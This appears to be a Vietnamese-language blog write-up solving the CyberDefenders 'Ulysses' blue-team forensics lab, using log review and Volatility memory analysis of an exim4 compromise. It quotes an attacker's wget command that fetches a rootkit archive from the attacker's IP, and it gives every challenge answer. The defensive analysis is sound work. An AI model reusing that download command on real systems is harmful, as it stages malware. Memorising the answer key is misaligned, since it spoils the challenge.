# WRITEUP FOR CYBERDEFENDERS ULYSSES BLUE TEAM LAB CHALLENGE
**Hi xin chào mọi người lại là mình đây, vừa học về ngồi mò xem có lab nào k thì phát hiện ra lab này, ok đấm thôi ae**

file: https://download.cyberdefenders.org/BlueYard/c24-Ulysses.zip
password: cyberdefenders.org
Setup profile theo hướng dẫn thoi:
Mount file sda1 bằng lệnh hoặc mở bằng FTK ( mình chọn thao tác trên terminal luôn cho tiện :>)
```
mkdir mnt
mount victoria-v8.sda1.img mnt
```
Xong xuôi hết thì vào việc thôi nào!!
***Q1: The attacker was performing a Brute Force attack. What account triggered the alert?***
Mở terminal ở ổ đĩa vừa mount xem có gì thoi nào:

Check file log thoi
```
cat var/log/auth.log
```

Có thể thấy hàng loạt những phép thử đến từ vị trí user ulysses.
***Ans: ulysses***
***Q2: How many were failed attempts there?***
Dùng combo thần thánh strings grep để giải thoi:
```
strings var/log/auth.log | grep Failed | wc -l
```
***Ans: 32***
***Q3: What kind of system runs on the targeted server?***
Cat file syslog ra coi thử
```
sudo cat var/log/installer/syslog
```

***Ans: Debian GNU/Linux 5.0***
***Q4: What is the victim's IP address?***
Mở volatility lên xem thôi:
```
python2 vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_netstat
```

Dễ dàng nhận thấy local address là 192.168.56.102
***Ans: 192.168.56.102***
***Q5: What are the attacker's two IP addresses? Format: comma-separated in ascending order***
Dựa vào Q4: Ngoài IP của victim ra còn 2 IP nữa, kết luận ngay 2 IP này chính là IP của attacker!
***Ans: 192.168.56.1,192.168.56.101***
***Q6: What is the "nc" service PID number that was running on the server?***
```
python2 vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_pslist
```

Dễ dàng thấy ở cuối list là process nc đang hoạt động với PID 2169.
***Ans: 2169***
***Q7: What service was exploited to gain access to the system? (one word)***
```
python2 vol.py -f victoria-v8.memdump.img --profile=LinuxDebian5_26x86 linux_pslist
```

Ta có thể thấy process exim4 được spawn dưới process sshd,
check thư mục exim4 trong thư mục /var/log, cat file mainlog

Dễ dàng thấy hàng loạt reject, dựa vào đó ta có thể kết luận process exim4 chính là process bị exploited.
***Ans: exim4***
***Q8: What is the CVE number of exploited vulnerability?***
Google exim4 CVE-2010 thì thấy 2 CVE 4344 với 4345, dựa vào details thì mình thấy CVE-2010-4344 này dựa trên buffer overflow, cat file rejectlog trong folder exim4 ra thì thấy đống header như này mình kết luận luôn
***Ans: CVE-2010-4344***
***Q9: During this attack, the attacker downloaded two files to the server. Provide the name of the compressed file.***
Cat mainlog ra để kiểm tra, dễ dàng thấy được câu lệnh tải xuống wget
```
wget http://192.168.56.1/rk.tar -O /tmp/rk.tar
```
***Ans: rk.tar***
***Q10: Two ports were involved in the process of data exfiltration. Provide the port number of the highest one.***
Dựa vào Q4 để giải
***Ans: 8888***
***Q11: Which port did the attacker try to block on the firewall?***
Câu này mình bó tay bó chân nên mở hint lên xem

Ok anaylize thôi
Giải nén file bằng
```
sudo tar -xvf rk.tar
```

Kiểm tra file install.sh bằng lệnh cat
```
cat rk/install.sh
```

***Ans: 45295***
Thanks for reading ><